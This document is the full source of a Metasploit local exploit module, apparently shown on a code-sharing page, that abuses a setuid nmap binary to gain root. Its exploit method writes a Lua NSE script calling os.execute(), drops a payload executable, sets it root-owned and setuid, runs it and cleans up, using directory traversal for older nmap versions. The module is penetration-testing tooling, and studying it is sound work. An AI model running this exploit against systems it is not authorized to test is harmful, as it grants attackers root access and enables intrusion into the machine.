Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::EXE
10
  include Msf::Post::File
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Setuid Nmap Exploit',
17
        'Description' => %q{
18
          Nmap's man page mentions that "Nmap should never be installed with
19
          special privileges (e.g. suid root) for security reasons.." and
20
          specifically avoids making any of its binaries setuid during
21
          installation.  Nevertheless, administrators sometimes feel the need
22
          to do insecure things.  This module abuses a setuid nmap binary by
23
          writing out a lua nse script containing a call to os.execute().
24

25
          Note that modern interpreters will refuse to run scripts on the
26
          command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby}
27
          payloads will most likely not work.
28
        },
29
        'License' => MSF_LICENSE,
30
        'Author' => [ 'egypt' ],
31
        'DisclosureDate' => '2012-07-19',
32
        'Platform' => %w[bsd linux unix],
33
        'Arch' => [ ARCH_CMD, ARCH_X86 ],
34
        'SessionTypes' => [ 'shell', 'meterpreter' ],
35
        'Targets' => [
36
          [ 'Command payload', { 'Arch' => ARCH_CMD } ],
37
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
38
          [ 'BSD x86', { 'Arch' => ARCH_X86 } ],
39
        ],
40
        'DefaultOptions' => { 'PrependSetresuid' => true, 'WfsDelay' => 2 },
41
        'Notes' => {
42
          'Reliability' => [ REPEATABLE_SESSION ],
43
          'Stability' => [ CRASH_SAFE ],
44
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
45
        },
46
        'DefaultTarget' => 0
47
      )
48
    )
49
    register_options([
50
      # These are not OptPath becuase it's a *remote* path
51
      OptString.new('Nmap', [ true, 'Path to setuid nmap executable', '/usr/bin/nmap' ]),
52
      OptString.new('ExtraArgs', [ false, 'Extra arguments to pass to Nmap (e.g. --datadir)', '' ]),
53
    ])
54
    register_advanced_options [
55
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
56
    ]
57
  end
58

59
  def nmap
60
    datastore['Nmap']
61
  end
62

63
  def check
64
    return CheckCode::Safe("#{nmap} file not found") unless file? nmap
65
    return CheckCode::Safe("#{nmap} is not setuid") unless setuid? nmap
66

67
    CheckCode::Vulnerable("#{nmap} is setuid")
68
  end
69

70
  def exploit
71
    if (target.arch.include? ARCH_CMD)
72
      p = payload.encoded.gsub(/([$"])/) { |_m| "\\#{Regexp.last_match(1)}" }
73
      evil_lua = %{ os.execute("#{p} &") }
74
    else
75
      exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}.elf"
76
      print_status("Dropping executable #{exe_file}")
77
      write_file(exe_file, generate_payload_exe)
78
      evil_lua = %{
79
        os.execute("chown root:root #{exe_file}");
80
        os.execute("chmod 6700 #{exe_file}");
81
        os.execute("#{exe_file} &");
82
        os.execute("rm -f #{exe_file}");
83
      }
84
    end
85
    lua_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}.nse"
86
    print_status("Dropping lua #{lua_file}")
87
    write_file(lua_file, evil_lua)
88

89
    print_status("Running #{lua_file} with Nmap")
90

91
    scriptname = lua_file
92
    if (lua_file[0, 1] == '/')
93
      # Versions before 4.51BETA (December 2007) only accept relative paths for script names
94
      # Figure 10 up-directory traversals is enough.
95
      scriptname = ('../' * 10) + lua_file[1..]
96
    end
97

98
    begin
99
      # Versions before 4.75 (August 2008) will not run scripts without a port scan
100
      result = cmd_exec "#{nmap} --script #{scriptname} -p80 localhost #{datastore['ExtraArgs']}"
101
      vprint_status(result)
102
    ensure
103
      rm_f(lua_file, exe_file)
104
    end
105
  end
106
end
107

108